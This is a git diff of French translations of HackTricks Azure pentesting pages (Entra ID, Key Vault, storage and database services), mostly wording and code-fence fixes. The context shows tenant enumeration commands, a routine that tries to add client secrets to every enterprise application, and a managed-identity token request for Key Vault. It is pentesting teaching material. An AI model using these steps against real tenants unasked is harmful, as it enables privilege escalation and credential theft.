@@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get all groups
Get-AzADGroup
# Get details of a group
@@ -394,12 +394,12 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
#### Ajouter un utilisateur au groupe
Les propriétaires du groupe peuvent ajouter de nouveaux utilisateurs au groupe
```powershell
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> Les groupes peuvent être dynamiques, ce qui signifie essentiellement que **si un utilisateur remplit certaines conditions, il sera ajouté à un groupe**. Bien sûr, si les conditions sont basées sur des **attributs** qu'un **utilisateur** peut **contrôler**, il pourrait abuser de cette fonctionnalité pour **entrer dans d'autres groupes**.\
> Consultez comment abuser des groupes dynamiques sur la page suivante :
> Vérifiez comment abuser des groupes dynamiques sur la page suivante :
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
@@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
@@ -467,8 +467,8 @@ Get-AzRoleAssignment -ServicePrincipalName <String>
```
{{#endtab }}
{{#tab name="Brut" }}
```powershell
{{#tab name="Raw" }}
```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
@@ -489,7 +489,7 @@ Headers = @{
<details>
<summary>Listez et essayez d'ajouter un secret client sur chaque application d'entreprise</summary>
```powershell
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
@@ -603,7 +603,7 @@ Pour plus d'informations sur les Applications, consultez :
Lorsqu'une application est générée, 2 types de permissions sont accordées :
- **Permissions** accordées au **Service Principal**
- **Permissions** données au **Service Principal**
- **Permissions** que l'**application** peut avoir et utiliser **au nom de l'utilisateur**.
{{#tabs }}
@@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
@@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
@@ -659,7 +659,7 @@ Get-AzADAppCredential
> [!NOTE]
> Une chaîne secrète que l'application utilise pour prouver son identité lors de la demande d'un jeton est le mot de passe de l'application.\
> Donc, si vous trouvez ce **mot de passe**, vous pouvez accéder en tant que **service principal** **à l'intérieur** du **tenant**.\
> Notez que ce mot de passe n'est visible que lors de sa génération (vous pouvez le changer mais vous ne pouvez pas le récupérer).\
> Notez que ce mot de passe n'est visible que lorsqu'il est généré (vous pouvez le changer mais vous ne pouvez pas le récupérer).\
> Le **propriétaire** de l'**application** peut **ajouter un mot de passe** à celle-ci (afin qu'il puisse l'usurper).\
> Les connexions en tant que ces services principaux ne sont **pas marquées comme risquées** et elles **n'auront pas de MFA.**
@@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
@@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
@@ -801,7 +801,7 @@ az rest --method GET \
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
@@ -828,7 +828,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
@@ -850,7 +850,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> Si un appareil (VM) est **joint à AzureAD**, les utilisateurs d'AzureAD vont pouvoir **se connecter**.\
> Si un appareil (VM) est **joint à AzureAD**, les utilisateurs d'AzureAD vont **pouvoir se connecter**.\
> De plus, si l'utilisateur connecté est **Propriétaire** de l'appareil, il sera **administrateur local**.
### Unités administratives
@@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
@@ -890,25 +890,25 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
{{#endtab }}
{{#endtabs }}
## Escalade de Privilèges Entra ID
## Escalade de privilèges Entra ID
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
## Escalade de Privilèges Azure
## Escalade de privilèges Azure
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Mécanismes Défensifs
## Mécanismes de défense
### Gestion des Identités Privilégiées (PIM)
### Gestion des identités privilégiées (PIM)
La Gestion des Identités Privilégiées (PIM) dans Azure aide à **prévenir l'attribution excessive de privilèges** aux utilisateurs de manière inutile.
La Gestion des identités privilégiées (PIM) dans Azure aide à **prévenir l'attribution excessive de privilèges** aux utilisateurs de manière inutile.
L'une des principales fonctionnalités fournies par PIM est qu'elle permet de ne pas attribuer de rôles à des principaux qui sont constamment actifs, mais de les rendre **éligibles pour une période de temps (par exemple, 6 mois)**. Ensuite, chaque fois que l'utilisateur souhaite activer ce rôle, il doit en faire la demande en indiquant le temps dont il a besoin pour le privilège (par exemple, 3 heures). Ensuite, un **admin doit approuver** la demande.\
L'une des principales fonctionnalités fournies par PIM est qu'elle permet de ne pas attribuer de rôles à des principaux qui sont constamment actifs, mais de les rendre **éligibles pour une période de temps (par exemple, 6 mois)**. Ensuite, chaque fois que l'utilisateur souhaite activer ce rôle, il doit en faire la demande en indiquant le temps pendant lequel il a besoin du privilège (par exemple, 3 heures). Ensuite, un **administrateur doit approuver** la demande.\
Notez que l'utilisateur pourra également demander à **prolonger** le temps.
De plus, **PIM envoie des e-mails** chaque fois qu'un rôle privilégié est attribué à quelqu'un.
@@ -919,14 +919,14 @@ Lorsque PIM est activé, il est possible de configurer chaque rôle avec certain
- Durée maximale (heures) d'activation
- Exiger MFA lors de l'activation
- Exiger un contexte d'authentification d'Accès Conditionnel
- Exiger un contexte d'authentification d'accès conditionnel
- Exiger une justification lors de l'activation
- Exiger des informations sur le ticket lors de l'activation
- Exiger une approbation pour activer
- Temps maximum pour expirer les attributions éligibles&#x20;
- Temps maximum pour expirer les attributions éligibles
- Beaucoup plus de configurations sur quand et qui envoyer des notifications lorsque certaines actions se produisent avec ce rôle
### Politiques d'Accès Conditionnel <a href="#title-text" id="title-text"></a>
### Politiques d'accès conditionnel <a href="#title-text" id="title-text"></a>
Vérifiez :
@@ -934,23 +934,23 @@ Vérifiez :
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Protection des Identités Entra <a href="#title-text" id="title-text"></a>
### Protection des identités Entra <a href="#title-text" id="title-text"></a>
La Protection des Identités Entra est un service de sécurité qui permet de **détecter lorsqu'un utilisateur ou une connexion est trop risqué** pour être accepté, permettant de **bloquer** l'utilisateur ou la tentative de connexion.
La Protection des identités Entra est un service de sécurité qui permet de **détecter lorsqu'un utilisateur ou une connexion est trop risqué** pour être accepté, permettant de **bloquer** l'utilisateur ou la tentative de connexion.
Il permet à l'admin de le configurer pour **bloquer** les tentatives lorsque le risque est "Faible et au-dessus", "Moyen et au-dessus" ou "Élevé". Bien que, par défaut, il soit complètement **désactivé** :
Il permet à l'administrateur de le configurer pour **bloquer** les tentatives lorsque le risque est "Faible et au-dessus", "Moyen et au-dessus" ou "Élevé". Cependant, par défaut, il est complètement **désactivé** :
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> De nos jours, il est recommandé d'ajouter ces restrictions via des politiques d'Accès Conditionnel où il est possible de configurer les mêmes options.
> De nos jours, il est recommandé d'ajouter ces restrictions via des politiques d'accès conditionnel où il est possible de configurer les mêmes options.
### Protection des Mots de Passe Entra
### Protection par mot de passe Entra
La Protection des Mots de Passe Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus de mots de passe faibles en verrouillant les comptes lorsque plusieurs tentatives de connexion infructueuses se produisent**.\
La Protection par mot de passe Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) est une fonctionnalité de sécurité qui **aide à prévenir l'abus de mots de passe faibles en verrouillant les comptes lorsque plusieurs tentatives de connexion infructueuses se produisent**.\
Elle permet également de **interdire une liste de mots de passe personnalisée** que vous devez fournir.
Elle peut être **appliquée à la fois** au niveau cloud et sur Active Directory sur site.
Elle peut être **appliquée à la fois** au niveau du cloud et sur Active Directory sur site.
Le mode par défaut est **Audit** :

16
src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
View File

@@ -36,7 +36,7 @@ https://<Account-Name>.documents.azure.com:443/
Dans un compte, vous pouvez créer une ou plusieurs bases de données, qui servent de regroupements logiques de conteneurs. Une base de données agit comme une limite pour la gestion des ressources et les autorisations des utilisateurs. Les bases de données peuvent soit partager le débit provisionné entre leurs conteneurs, soit allouer un débit dédié à des conteneurs individuels.
#### Conteneurs
L'unité de base du stockage de données est le conteneur, qui contient des documents JSON et est automatiquement indexé pour des requêtes efficaces. Les conteneurs sont élastiquement évolutifs et distribués sur des partitions, qui sont déterminées par une clé de partition définie par l'utilisateur. La clé de partition est essentielle pour garantir des performances optimales et une distribution uniforme des données. Par exemple, un conteneur pourrait stocker des données clients, avec "customerId" comme clé de partition.
L'unité de stockage de données principale est le conteneur, qui contient des documents JSON et est automatiquement indexé pour des requêtes efficaces. Les conteneurs sont élastiquement évolutifs et distribués sur des partitions, qui sont déterminées par une clé de partition définie par l'utilisateur. La clé de partition est essentielle pour garantir des performances optimales et une distribution uniforme des données. Par exemple, un conteneur pourrait stocker des données clients, avec "customerId" comme clé de partition.
#### Énumération
@@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosD
# List all Cosmos DB accounts in a specified resource group.
@@ -215,7 +215,7 @@ mongodb://<hostname>:<port>/<database>
Dans MongoDB, vous pouvez créer une ou plusieurs bases de données au sein d'une instance. Chaque base de données sert de regroupement logique de collections et fournit une limite pour l'organisation et la gestion des ressources. Les bases de données aident à séparer et à gérer les données de manière logique, par exemple pour différentes applications ou projets.
#### Collections
L'unité de base du stockage de données dans MongoDB est la collection, qui contient des documents et est conçue pour des requêtes efficaces et un design de schéma flexible. Les collections sont élastiquement évolutives et peuvent prendre en charge des opérations à haut débit sur plusieurs nœuds dans une configuration distribuée.
L'unité de base du stockage de données dans MongoDB est la collection, qui contient des documents et est conçue pour des requêtes efficaces et un design de schéma flexible. Les collections sont élastiquement évolutives et peuvent prendre en charge des opérations à fort débit sur plusieurs nœuds dans une configuration distribuée.
#### Énumération
@@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountNa
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosDB
# List all Cosmos DB accounts in a specified resource group.
@@ -329,7 +329,7 @@ print(f"Inserted document with ID: {result.inserted_id}")
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
{% endcontent-ref %}
## Post Exploitation
## Post exploitation
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
@@ -349,9 +349,9 @@ Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/image
<summary>Soutenir HackTricks</summary>
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}

16
src/pentesting-cloud/azure-security/az-services/az-file-shares.md
View File

@@ -24,8 +24,8 @@
### Authentifications prises en charge via SMB
- **Authentification AD DS sur site** : Elle utilise des identifiants Active Directory sur site synchronisés avec Microsoft Entra ID pour un accès basé sur l'identité. Elle nécessite une connectivité réseau avec AD DS sur site.
- **Authentification des services de domaine Microsoft Entra** : Elle utilise les services de domaine Microsoft Entra (AD basé sur le cloud) pour fournir un accès en utilisant des identifiants Microsoft Entra.
- **Kerberos Microsoft Entra pour identités hybrides** : Il permet aux utilisateurs de Microsoft Entra d'authentifier les partages de fichiers Azure via Internet en utilisant Kerberos. Il prend en charge les VM jointes à Microsoft Entra hybrides ou jointes à Microsoft Entra sans nécessiter de connectivité avec des contrôleurs de domaine sur site. Mais il ne prend pas en charge les identités uniquement cloud.
- **Authentification des services de domaine Microsoft Entra** : Elle s'appuie sur les services de domaine Microsoft Entra (AD basé sur le cloud) pour fournir un accès en utilisant des identifiants Microsoft Entra.
- **Kerberos Microsoft Entra pour identités hybrides** : Il permet aux utilisateurs de Microsoft Entra d'authentifier les partages de fichiers Azure via Internet en utilisant Kerberos. Il prend en charge les VM jointes à Microsoft Entra hybrides ou jointes à Microsoft Entra sans nécessiter de connectivité avec les contrôleurs de domaine sur site. Mais il ne prend pas en charge les identités uniquement cloud.
- **Authentification Kerberos AD pour clients Linux** : Elle permet aux clients Linux d'utiliser Kerberos pour l'authentification SMB via AD DS sur site ou les services de domaine Microsoft Entra.
## Énumération
@@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
Get-AzStorageAccount
# List File Shares
@@ -86,15 +86,15 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
> Utilisez le paramètre `--account-key` pour indiquer la clé de compte à utiliser\
> Utilisez le paramètre `--sas-token` avec le token SAS pour accéder via un token SAS
### Connexion
### Connection
Voici les scripts proposés par Azure au moment de l'écriture pour se connecter à un File Share :
Ce sont les scripts proposés par Azure au moment de l'écriture pour se connecter à un File Share :
Vous devez remplacer les espaces réservés `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` et `<FILE-SHARE-NAME>`.
{{#tabs}}
{{#tab name="Windows"}}
```powershell
```bash
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
if ($connectTestResult.TcpTestSucceeded) {
# Save the password so the drive will persist on reboot
@@ -131,7 +131,7 @@ open smb://<STORAGE-ACCOUNT>:<ACCESS-KEY>@<STORAGE-ACCOUNT>.file.core.windows.ne
{{#endtab}}
{{#endtabs}}
### Énumération de stockage régulier (clés d'accès, SAS...)
### Énumération de stockage régulière (clés d'accès, SAS...)
{{#ref}}
az-storage.md
@@ -139,7 +139,7 @@ az-storage.md
## Escalade de privilèges
Identique à privesc de stockage :
Identique à la privesc de stockage :
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md

8
src/pentesting-cloud/azure-security/az-services/az-keyvault.md
View File

@@ -4,13 +4,13 @@
## Informations de base
**Azure Key Vault** est un service cloud fourni par Microsoft Azure pour stocker et gérer en toute sécurité des informations sensibles telles que **secrets, clés, certificats et mots de passe**. Il agit comme un référentiel centralisé, offrant un accès sécurisé et un contrôle granulaire à l'aide d'Azure Active Directory (Azure AD). D'un point de vue sécurité, Key Vault fournit une **protection par module de sécurité matériel (HSM)** pour les clés cryptographiques, garantit que les secrets sont chiffrés à la fois au repos et en transit, et offre une gestion d'accès robuste grâce à **l'accès basé sur les rôles (RBAC)** et des politiques. Il dispose également de **journalisation des audits**, d'une intégration avec Azure Monitor pour le suivi des accès, et d'une rotation automatique des clés pour réduire le risque d'exposition prolongée des clés.
**Azure Key Vault** est un service cloud fourni par Microsoft Azure pour stocker et gérer en toute sécurité des informations sensibles telles que **secrets, clés, certificats et mots de passe**. Il agit comme un référentiel centralisé, offrant un accès sécurisé et un contrôle granulaire à l'aide d'Azure Active Directory (Azure AD). D'un point de vue sécurité, Key Vault fournit une **protection par module de sécurité matériel (HSM)** pour les clés cryptographiques, garantit que les secrets sont chiffrés à la fois au repos et en transit, et offre une gestion d'accès robuste grâce à **l'accès basé sur les rôles (RBAC)** et aux politiques. Il dispose également de **journalisation des audits**, d'une intégration avec Azure Monitor pour le suivi des accès, et d'une rotation automatique des clés pour réduire le risque d'exposition prolongée des clés.
Voir [Azure Key Vault REST API overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) pour des détails complets.
Selon les [**docs**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), les coffres prennent en charge le stockage de clés logicielles et de clés soutenues par HSM, de secrets et de certificats. Les pools HSM gérés ne prennent en charge que les clés soutenues par HSM.
Le **format d'URL** pour les **coffres** est `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` et pour les pools HSM gérés, c'est : `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
Le **format d'URL** pour les **coffres** est `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` et pour les pools HSM gérés c'est : `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
Où :
@@ -54,7 +54,7 @@ De plus, il est possible de créer un **point de terminaison privé** pour perme
### Protection contre la suppression
Lorsqu'un coffre de clés est créé, le nombre minimum de jours autorisé pour la suppression est de 7. Ce qui signifie que chaque fois que vous essayez de supprimer ce coffre de clés, il faudra **au moins 7 jours pour être supprimé**.
Lorsqu'un coffre de clés est créé, le nombre minimum de jours autorisés pour la suppression est de 7. Ce qui signifie que chaque fois que vous essayez de supprimer ce coffre de clés, il faudra **au moins 7 jours pour être supprimé**.
Cependant, il est possible de créer un coffre avec **la protection contre la purge désactivée**, ce qui permet de purger le coffre de clés et les objets pendant la période de conservation. Cependant, une fois cette protection activée pour un coffre, elle ne peut pas être désactivée.
@@ -92,7 +92,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get keyvault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

4
src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
View File

@@ -19,7 +19,7 @@ Il est possible de visualiser une LogicApp avec des graphiques :
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
ou de vérifier le code dans la section "**Vue du code de l'application Logic**".
ou de vérifier le code dans la section "**Vue du code de l'application logique**".
### Protection SSRF
@@ -47,7 +47,7 @@ az logic workflow identity show --name <LogicAppName> --resource-group <Resource
{{#endtab }}
{{#tab name="Az PowerSHell" }}
```powershell
```bash
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info

8
src/pentesting-cloud/azure-security/az-services/az-mysql.md
View File

@@ -10,13 +10,13 @@ Apprenez et pratiquez le Hacking GCP : <img src="../../../.gitbook/assets/image
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}
## Azure MySQL
Azure Database for MySQL est un service de base de données relationnelle entièrement géré basé sur l'édition communautaire de MySQL, conçu pour offrir évolutivité, sécurité et flexibilité pour divers besoins d'application. Il dispose de deux modèles de déploiement différents :
Azure Database for MySQL est un service de base de données relationnelle entièrement géré basé sur l'édition communautaire MySQL, conçu pour offrir évolutivité, sécurité et flexibilité pour divers besoins d'application. Il dispose de deux modèles de déploiement différents :
* **Serveur unique** (est sur la voie de la retraite) :
- Optimisé pour des déploiements MySQL rentables et faciles à gérer.
@@ -29,7 +29,7 @@ Azure Database for MySQL est un service de base de données relationnelle entiè
- Offre des fonctionnalités d'arrêt/démarrage pour des économies de coûts.
### Caractéristiques clés
* **Gestion des serveurs** : La fonctionnalité **ad-admin** permet de gérer les administrateurs Azure Active Directory (AAD) pour les serveurs MySQL, offrant un contrôle sur l'accès administratif via des identifiants AAD, tandis que la fonctionnalité **identity** permet l'attribution et la gestion des identités gérées Azure, offrant une authentification sécurisée sans identifiants pour accéder aux ressources Azure.
* **Gestion du serveur** : La fonctionnalité **ad-admin** permet de gérer les administrateurs Azure Active Directory (AAD) pour les serveurs MySQL, offrant un contrôle sur l'accès administratif via des identifiants AAD, tandis que la fonctionnalité **identity** permet l'attribution et la gestion des identités gérées Azure, offrant une authentification sécurisée sans identifiants pour accéder aux ressources Azure.
* **Gestion du cycle de vie** : options pour démarrer ou arrêter un serveur, supprimer une instance de serveur flexible, redémarrer un serveur pour appliquer rapidement des modifications de configuration, et attendre pour s'assurer qu'un serveur répond à des conditions spécifiques avant de procéder avec des scripts d'automatisation.
* **Sécurité et mise en réseau** : peut gérer les règles de pare-feu du serveur pour un accès sécurisé à la base de données et détacher les configurations de réseau virtuel si nécessaire.
* **Protection des données et sauvegarde** : inclut des options pour gérer les sauvegardes de serveurs flexibles pour la récupération des données, effectuer une restauration géographique pour récupérer un serveur dans une autre région, exporter des sauvegardes de serveur pour un usage externe (en aperçu), et restaurer un serveur à partir d'une sauvegarde à un moment spécifique.
@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.MySql
# Get all flexible servers in a resource group

6
src/pentesting-cloud/azure-security/az-services/az-postgresql.md
View File

@@ -10,7 +10,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="../../../.gitbook/assets/image
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}
@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.PostgreSql
# List flexible-servers in a resource group
@@ -154,7 +154,7 @@ psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
## À faire
* Chercher un moyen d'accéder avec ad-admin pour vérifier que c'est une méthode d'escalade de privilèges
* Chercher un moyen d'accéder avec ad-admin pour vérifier s'il s'agit d'une méthode d'escalade de privilèges
{% hint style="success" %}

54
src/pentesting-cloud/azure-security/az-services/az-sql.md
View File

@@ -9,42 +9,42 @@ Azure SQL est une famille de produits gérés, sécurisés et intelligents qui u
Azure SQL se compose de trois principales offres :
1. **Azure SQL Database** : Il s'agit d'un **service de base de données entièrement géré**, qui vous permet d'héberger des bases de données individuelles dans le cloud Azure. Il offre une intelligence intégrée qui apprend vos modèles de base de données uniques et fournit des recommandations personnalisées et un réglage automatique.
2. **Azure SQL Managed Instance** : Cela concerne les déploiements à grande échelle, à l'échelle de l'ensemble de l'instance SQL Server. Il offre une compatibilité presque à 100 % avec le dernier moteur de base de données SQL Server sur site (Édition Entreprise), qui fournit une mise en réseau virtuelle (VNet) native qui répond aux préoccupations de sécurité courantes, et un modèle commercial favorable pour les clients SQL Server sur site.
3. **Azure SQL Server sur Azure VMs** : Il s'agit d'une Infrastructure en tant que Service (IaaS) et est le mieux adapté pour les migrations où vous souhaitez **contrôler le système d'exploitation et l'instance SQL Server**, comme si c'était un serveur fonctionnant sur site.
2. **Azure SQL Managed Instance** : Cela concerne les déploiements à grande échelle, à l'échelle de l'ensemble de l'instance SQL Server. Il offre une compatibilité presque totale avec le dernier moteur de base de données SQL Server sur site (Édition Entreprise), qui fournit une mise en réseau virtuelle (VNet) native répondant aux préoccupations de sécurité courantes, et un modèle commercial favorable aux clients SQL Server sur site.
3. **Azure SQL Server sur des machines virtuelles Azure** : Il s'agit d'une Infrastructure en tant que Service (IaaS) et est préférable pour les migrations où vous souhaitez **contrôler le système d'exploitation et l'instance SQL Server**, comme si c'était un serveur fonctionnant sur site.
### Azure SQL Database
**Azure SQL Database** est une **plateforme de base de données entièrement gérée en tant que service (PaaS)** qui fournit des solutions de bases de données relationnelles évolutives et sécurisées. Elle est construite sur les dernières technologies SQL Server et élimine le besoin de gestion d'infrastructure, ce qui en fait un choix populaire pour les applications basées sur le cloud.
#### Caractéristiques Clés
#### Caractéristiques clés
- **Toujours à jour** : Fonctionne sur la dernière version stable de SQL Server et reçoit automatiquement de nouvelles fonctionnalités et correctifs.
- **Capacités PaaS** : Haute disponibilité intégrée, sauvegardes et mises à jour.
- **Flexibilité des données** : Prend en charge les données relationnelles et non relationnelles (par exemple, graphiques, JSON, spatial et XML).
#### Modèles d'Achat / Niveaux de Service
#### Modèles d'achat / Niveaux de service
- **Basé sur vCore** : Choisissez indépendamment le calcul, la mémoire et le stockage. Pour usage général, critique pour les affaires (avec haute résilience et performance pour les applications OLTP), et évolue jusqu'à 128 To de stockage.
- **Basé sur vCore** : Choisissez le calcul, la mémoire et le stockage indépendamment. Pour usage général, critique pour les entreprises (avec haute résilience et performance pour les applications OLTP), et évolue jusqu'à 128 To de stockage.
- **Basé sur DTU** : Regroupe le calcul, la mémoire et l'I/O en niveaux fixes. Ressources équilibrées pour les tâches courantes.
- Standard : Ressources équilibrées pour les tâches courantes.
- Premium : Haute performance pour des charges de travail exigeantes.
#### Modèles de Déploiement
#### Modèles de déploiement
Azure SQL Database prend en charge des options de déploiement flexibles pour répondre à divers besoins :
- **Base de données unique** :
- Une base de données entièrement isolée avec ses propres ressources dédiées.
- Idéal pour les microservices ou les applications nécessitant une source de données unique.
- **Pool Élastique** :
- **Pool élastique** :
- Permet à plusieurs bases de données de partager des ressources au sein d'un pool.
- Économique pour les applications avec des modèles d'utilisation fluctuants à travers plusieurs bases de données.
#### Performance évolutive et pools
- **Bases de données uniques** : Chaque base de données est isolée et dispose de ses propres ressources de calcul, de mémoire et de stockage dédiées. Les ressources peuvent être évoluées dynamiquement (vers le haut ou vers le bas) sans temps d'arrêt (1–128 vCores, 32 Go–4 To de stockage, et jusqu'à 128 To).
- **Pools Élastiques** : Partagent des ressources entre plusieurs bases de données dans un pool pour maximiser l'efficacité et réduire les coûts. Les ressources peuvent également être évoluées dynamiquement pour l'ensemble du pool.
- **Flexibilité des niveaux de service** : Commencez petit avec une base de données unique dans le niveau Usage Général. Passez aux niveaux Critique pour les affaires ou Hyperscale à mesure que les besoins augmentent.
